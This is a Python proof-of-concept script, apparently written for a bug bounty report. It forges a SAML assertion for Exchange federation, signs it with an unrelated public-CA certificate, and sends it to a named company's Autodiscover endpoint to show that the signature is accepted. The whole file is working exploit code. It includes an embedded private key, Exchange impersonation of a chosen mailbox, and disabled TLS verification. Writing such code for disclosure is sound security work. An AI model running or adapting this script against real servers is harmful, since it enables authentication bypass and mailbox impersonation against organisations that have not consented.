#!/usr/bin/env -S uv run --script
# Reproducer: uv run --script forge-public-ca-saml.py
# Sends a corrupted-signature control, then a valid public-CA-signed assertion.
# The embedded controlled certificate is valid through 2026-12-31.
# /// script
# requires-python = ">=3.11"
# dependencies = ["curl-cffi>=0.13", "lxml>=5", "signxml>=4"]
# ///
import argparse
import base64
import datetime as dt
import hashlib
import sys
import uuid
from copy import deepcopy

from cryptography import x509
from cryptography.hazmat.primitives import hashes, serialization
from curl_cffi import requests
from lxml import etree
from signxml import CanonicalizationMethod, DigestAlgorithm, SignatureMethod, XMLSigner, methods

DEFAULT_CERT = b"""-----BEGIN CERTIFICATE-----
MIIE9DCCA9ygAwIBAgISBtyO9zmuRyN+6cyQ7jTGq16VMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjEwHhcNMjYxMDAyMDUyODI1WhcNMjYxMjMxMDUyODI0WjAXMRUwEwYDVQQD
EwxxNy0yYXAueDAuYXUwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDa
wu4CUHxcyiZJX4T77abLEK7KBnpFius0m40Z+qUfp9fei7gcLPUJ/XkhbzzIIN19
rOs6KOCzWDJyZr2tw1Y5SlmyReakHUtBgoItCZd2shMc0qT/f8NpSrx8SGHEzgHo
6XjrB1Bo4Rw89GmWdK1jvsTHQL8vww9hm1Upsl1Fhhj3VAMISMmX1FASpHIv+1C0
Bsv+t6viDqv7EQktztn0C4gmMAa/GmtQ6HA2NUK/rMo8908LV2YSlodF++rKr5vA
61zPgbu9tTQ91t3sf7JNO6rFZ3jQ+v2Hq3hKQ2F2jQ6k43bHbV4ho3owtmqnr0TK
Dp5xGfuSFjgxU835t/n5AgMBAAGjggIcMIICGDAOBgNVHQ8BAf8EBAMCBaAwEwYD
VR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQUbauGpIua
y085uiH7UAr8EIhURF8wHwYDVR0jBBgwFoAUHy81vkYUgs1Asa55LFV4+vfUaPsw
MwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8veXIxLmkubGVuY3Iu
b3JnLzAXBgNVHREEEDAOggxxNy0yYXAueDAuYXUwEwYDVR0gBAwwCjAIBgZngQwB
AgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0cDovL3lyMS5jLmxlbmNyLm9yZy8yMi5j
cmwwggEOBgorBgEEAdZ5AgQCBIH/BIH8APoAdwCUTkOH+uzB74HzGSQmqBhlAcfT
XzgCAT9yZ31VNy4Z2AAAAaD7S1ybAAAEAwBIMEYCIQCAKPRmJBN4P/AnuV3dbnjj
Jig2/MP2rkoWu0bl3HHI4gIhAPTUrDKDyPmsv7Wqy+KdP2FUY/ZKm9bCsxQFs6Jq
4b7UAH8AjspHC6zeavOiBrCkeoS3Rv4fxr+VPiXmm07kAkjzxugAAAGg+0te9QAI
AAAFABoKcIoEAwBIMEYCIQCUq+rExrDp2D/fo0NpiHoLeGFdCYhbhpxLbI5S4jVg
EAIhAKbx7FOTOU5Eb19OT7BZffjJOg4YzRF0Aa7lX7ROMNKRMA0GCSqGSIb3DQEB
CwUAA4IBAQCfc7E0WBeeg3x4ofMFDkbBMMB2w7/gi3H4BmEYHcaVTV0tqI/m2YpQ
b8F+qXI2TZTxmphWxHvWkDZ8DFCgQ8V8jWYqSzu/tSMfPBb0GPq+JuouoFvba5V4
cvbqRrbBN6ynqxQTEUAj+hb/qPyVV+OGTKwO+cO4XlgT/heMEpHY5rzNPCvf6ETf
fk3QKyrwgTfbUCksrJCVdrOluOLAojtVTBrdTdPMRilop484F1XgVzWIwbv/S3HN
46hLGoSZrJ+EdIZwWzQWsVcPu7DpVHf3PDEinKUOVq3+4TpNTFyuetFeWZDvBGss
ArAYKVIXpn8bPMfVR1ivqSztu/VGNN8y
-----END CERTIFICATE-----
"""
DEFAULT_KEY = b"""-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDawu4CUHxcyiZJ
X4T77abLEK7KBnpFius0m40Z+qUfp9fei7gcLPUJ/XkhbzzIIN19rOs6KOCzWDJy
Zr2tw1Y5SlmyReakHUtBgoItCZd2shMc0qT/f8NpSrx8SGHEzgHo6XjrB1Bo4Rw8
9GmWdK1jvsTHQL8vww9hm1Upsl1Fhhj3VAMISMmX1FASpHIv+1C0Bsv+t6viDqv7
EQktztn0C4gmMAa/GmtQ6HA2NUK/rMo8908LV2YSlodF++rKr5vA61zPgbu9tTQ9
1t3sf7JNO6rFZ3jQ+v2Hq3hKQ2F2jQ6k43bHbV4ho3owtmqnr0TKDp5xGfuSFjgx
U835t/n5AgMBAAECggEAa2IIRyaPBVVNmfLDao7rsv5LbmvjlUNt1XMNvlTkvTc8
pcdb5qjC19aOoTTjVzGax9gb1369XgvLJ5D7RtJ9/r1abkIVxzWB/XQ8xjLRILik
3R8hUzG6EHNZNoCpTVv6YARLEMOUWwc1P06SjgJUIoRAP7auoplTcYw4L7GYS0lx
ZkJ7IUhpyLBhByYe4SE7+AYAb67M7QUsdxVrLJmHiIszML+IUOq8IDccCiJo50yj
UgCRWBQzX5iD0oI1Oi22kH6Q/j1z22xmnEQuK4hl1GqQD9sogALb/nGXFOFQwoUp
myIfU/hAY0BudmkFCMwxgJTpT6XO2LUJfoYJIO+06QKBgQD3PSulNg8qz9Etw1nH
e3TCnkqKMbxdAqVgRMwgd7ljSAvmB4i1mLPnY6si+JccTbSUAMqszNcosFf90FHM
oyu+BTffdyJ3nLjtuRetywT8ZgxDKv1MmNk+WODMYMQ8ZGKp6nDHlVPI6jEJhnOs
6ZDuUZNr/xHjaK/QUVxFWQ1eQwKBgQDig2znPK/pSeWc9TugYcvTg5WD4liluYgg
yTWgzhxOX5UpOfVv/ZW6aeU1KqitjcL4QVTz6sX8UrIenG8vWxsCXnGKQxsFGMFO
9t7G1iGOqj3mXcyLFPrNOcrl65AAi9sR4tPgV4U/f/uuaQsW2s3mEc6wuuZJOZZD
DM3zC+XpEwKBgQDfdfhW0K+QwFiOBjzFIf58UNmKYj2fy15xzny4870p0NqARFr5
11TzVJA/gXQC7vDBvJ1y5YmqiwhcrcbhMLG+g7TmUyVh+tLieiK+v/p3rjxzEQ30
B0qDIY2869ExzIGole7tVThvJczAkTdIF6sY275lJBuk8N/HZ2IAg+ajRQKBgBGg
gJ0OD/Jrmb65Jsa4VZBEMSJuPs/GvF0wy0eUQoem0IjAxeTNKxWyn++fPjkjSwTe
sKm6n2WfWdUf/1cEE/n/N3628idXYdOvSm7Www3DGcYPjpdULqBB2xRBXJduSsH9
kNdoeCoU35UW/5HrvRImWJtQMBOKs7LMEErVpjKZAoGAJknDkPKprDTuCDSNR4oA
PU56sLY2pmoTY5mkqcKs/dkzR8hOVIftoVQZYnCF9chmucJqPONtpkh7fY6piD0n
s2da9tbyWqJ8A1N3rUWCKz4R1Jo23JozfO1VbCrxWMaprQS6AuoXkwFlCb1U+RwO
DZO9ZMjNGegu0TwVH2oSjzQ=
-----END PRIVATE KEY-----
"""

NS = {
    "s": "http://schemas.xmlsoap.org/soap/envelope/",
    "a": "http://www.w3.org/2005/08/addressing",
    "wsse": "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd",
    "saml": "urn:oasis:names:tc:SAML:1.0:assertion",
    "ds": "http://www.w3.org/2000/09/xmldsig#",
    "wst": "http://docs.oasis-open.org/ws-sx/ws-trust/200512",
    "ad": "http://schemas.microsoft.com/exchange/2010/Autodiscover",
    "t": "http://schemas.microsoft.com/exchange/services/2006/types",
}
q = lambda p, n: f"{{{NS[p]}}}{n}"


def build(origin, key, cert, mailbox):
    now = dt.datetime.now(dt.timezone.utc)
    stamp = lambda value: value.strftime("%Y-%m-%dT%H:%M:%S.%f")[:-3] + "Z"
    url = origin.rstrip("/") + "/Autodiscover/Autodiscover.svc/wssecurity/symmetrickey"
    action = NS["ad"] + "/Autodiscover/GetUserSettings"
    env = etree.Element(q("s", "Envelope"), nsmap=NS)
    header = etree.SubElement(env, q("s", "Header"))
    node = etree.SubElement(header, q("a", "Action")); node.set(q("s", "mustUnderstand"), "1"); node.text = action
    etree.SubElement(header, q("a", "MessageID")).text = "urn:uuid:" + str(uuid.uuid4())
    node = etree.SubElement(header, q("a", "ReplyTo")); etree.SubElement(node, q("a", "Address")).text = "http://www.w3.org/2005/08/addressing/anonymous"
    node = etree.SubElement(header, q("a", "To")); node.set(q("s", "mustUnderstand"), "1"); node.text = url
    etree.SubElement(header, q("ad", "RequestedServerVersion")).text = "Exchange2010"
    impersonation = etree.SubElement(header, q("t", "ExchangeImpersonation"))
    sid = etree.SubElement(impersonation, q("t", "ConnectingSID"))
    etree.SubElement(sid, q("t", "PrimarySmtpAddress")).text = mailbox
    security = etree.SubElement(header, q("wsse", "Security")); security.set(q("s", "mustUnderstand"), "1")

    assertion_id = "saml-" + str(uuid.uuid4())
    assertion = etree.SubElement(security, q("saml", "Assertion"), nsmap={"saml": NS["saml"], "ds": NS["ds"], "wst": NS["wst"]})
    assertion.set("MajorVersion", "1"); assertion.set("MinorVersion", "1")
    assertion.set("AssertionID", assertion_id)
    assertion.set("Issuer", "https://unrelated-controlled-certificate.invalid/")
    assertion.set("IssueInstant", stamp(now - dt.timedelta(minutes=1)))
    conditions = etree.SubElement(assertion, q("saml", "Conditions"))
    conditions.set("NotBefore", stamp(now - dt.timedelta(minutes=2)))
    conditions.set("NotOnOrAfter", stamp(now + dt.timedelta(minutes=30)))
    audience = etree.SubElement(conditions, q("saml", "AudienceRestrictionCondition"))
    etree.SubElement(audience, q("saml", "Audience")).text = "http://FYDIBOHF25SPDLT.baloise.ch"

    def subject(parent, proof=False):
        subject_node = etree.SubElement(parent, q("saml", "Subject"))
        name = etree.SubElement(subject_node, q("saml", "NameIdentifier"))
        name.set("Format", "http://schemas.xmlsoap.org/claims/UPN"); name.text = mailbox
        confirmation = etree.SubElement(subject_node, q("saml", "SubjectConfirmation"))
        etree.SubElement(confirmation, q("saml", "ConfirmationMethod")).text = (
            "urn:oasis:names:tc:SAML:1.0:cm:holder-of-key" if proof else "urn:oasis:names:tc:SAML:1.0:cm:sender-vouches"
        )
        if proof:
            info = etree.SubElement(confirmation, q("ds", "KeyInfo"))
            etree.SubElement(info, q("wst", "BinarySecret")).text = base64.b64encode(bytes(range(1, 33))).decode()

    attributes = etree.SubElement(assertion, q("saml", "AttributeStatement")); subject(attributes)
    for namespace, name, value in [
        ("http://schemas.xmlsoap.org/claims", "EmailAddress", mailbox),
        ("http://schemas.xmlsoap.org/ws/2006/12/authorization/claims", "action", "MSExchange.Autodiscover"),
        ("http://schemas.microsoft.com/ws/2006/04/identity/claims", "ThirdPartyRequested", "true"),
    ]:
        attribute = etree.SubElement(attributes, q("saml", "Attribute"))
        attribute.set("AttributeName", name); attribute.set("AttributeNamespace", namespace)
        etree.SubElement(attribute, q("saml", "AttributeValue")).text = value
    authentication = etree.SubElement(assertion, q("saml", "AuthenticationStatement"))
    authentication.set("AuthenticationMethod", "urn:oasis:names:tc:SAML:1.0:am:password")
    authentication.set("AuthenticationInstant", stamp(now - dt.timedelta(minutes=1))); subject(authentication, True)
    signed = XMLSigner(
        method=methods.enveloped,
        signature_algorithm=SignatureMethod.RSA_SHA256,
        digest_algorithm=DigestAlgorithm.SHA256,
        c14n_algorithm=CanonicalizationMethod.EXCLUSIVE_XML_CANONICALIZATION_1_0,
    ).sign(assertion, key=key, cert=cert, reference_uri="#" + assertion_id, id_attribute="AssertionID")
    security.replace(assertion, signed)

    body = etree.SubElement(env, q("s", "Body"))
    message = etree.SubElement(body, q("ad", "GetUserSettingsRequestMessage"))
    request = etree.SubElement(message, q("ad", "Request"))
    users = etree.SubElement(request, q("ad", "Users")); user = etree.SubElement(users, q("ad", "User"))
    etree.SubElement(user, q("ad", "Mailbox")).text = mailbox
    settings = etree.SubElement(request, q("ad", "RequestedSettings"))
    etree.SubElement(settings, q("ad", "Setting")).text = "UserDisplayName"
    return url, action, env


def response_result(response):
    try:
        root = etree.fromstring(response.content)
        code = root.xpath("string(//*[local-name()='faultcode'])") or root.xpath("string(//*[local-name()='UserResponse']/*[local-name()='ErrorCode'])")
        message = root.xpath("string(//*[local-name()='UserResponse']/*[local-name()='ErrorMessage'])")
        return code.split(":")[-1], " ".join(message.split())
    except etree.XMLSyntaxError:
        return "", ""


def main():
    parser = argparse.ArgumentParser(description="Forge an Exchange federation SAML assertion with an unrelated public-CA certificate.")
    parser.add_argument("--origin", default="https://autodiscover.baloise.de")
    parser.add_argument("--mailbox", default="bugbounty-dwbzn-no-such-user@baloise.de")
    parser.add_argument("--cert", help="optional replacement PEM certificate")
    parser.add_argument("--key", help="optional replacement PEM private key")
    parser.add_argument("--proxy", help="optional HTTP/SOCKS proxy")
    args = parser.parse_args()
    if bool(args.cert) != bool(args.key):
        parser.error("--cert and --key must be supplied together")
    cert_pem = open(args.cert, "rb").read() if args.cert else DEFAULT_CERT
    key_pem = open(args.key, "rb").read() if args.key else DEFAULT_KEY
    certificate = x509.load_pem_x509_certificate(cert_pem)
    private_key = serialization.load_pem_private_key(key_pem, password=None)
    if certificate.public_key().public_bytes(serialization.Encoding.DER, serialization.PublicFormat.SubjectPublicKeyInfo) != private_key.public_key().public_bytes(serialization.Encoding.DER, serialization.PublicFormat.SubjectPublicKeyInfo):
        raise SystemExit("certificate and private key do not match")
    now = dt.datetime.now(dt.timezone.utc)
    if not (certificate.not_valid_before_utc <= now <= certificate.not_valid_after_utc):
        raise SystemExit(f"certificate is not currently valid (expires {certificate.not_valid_after_utc.isoformat()}); supply --cert and --key")
    print(f"Using {certificate.subject.rfc4514_string()} (SHA-256 {certificate.fingerprint(hashes.SHA256()).hex()})", file=sys.stderr)

    url, action, valid = build(args.origin, key_pem, cert_pem, args.mailbox)
    invalid = deepcopy(valid)
    signature = invalid.xpath("//*[local-name()='SignatureValue']")[0]
    signature.text = ("A" if signature.text[0] != "A" else "B") + signature.text[1:]
    headers = {"X-Bug-Bounty": "BBS:dwbzn", "Content-Type": "text/xml; charset=utf-8", "SOAPAction": f'"{action}"'}
    observed = []
    for label, document in [("invalid-signature control", invalid), ("public-CA-signed forged token", valid)]:
        print(f"Sending {label}", file=sys.stderr)
        response = requests.post(
            url,
            headers=headers,
            data=etree.tostring(document, xml_declaration=True, encoding="utf-8"),
            timeout=30,
            verify=False,
            proxy=args.proxy,
        )
        code, message = response_result(response)
        observed.append((label, response.status_code, code, message, response.headers.get("date", "")))

    for label, status, code, message, _ in observed:
        suffix = f" — {message}" if message else ""
        print(f"{label}: HTTP {status} {code}{suffix}")
    if observed[1][4]:
        print(f"target date: {observed[1][4]}")
    if observed[0][1:3] != (500, "InvalidSecurity") or observed[1][1:3] != (200, "InvalidUser"):
        print("The expected InvalidSecurity -> InvalidUser authentication-boundary differential was absent.", file=sys.stderr)
        raise SystemExit(1)


if __name__ == "__main__":
    main()
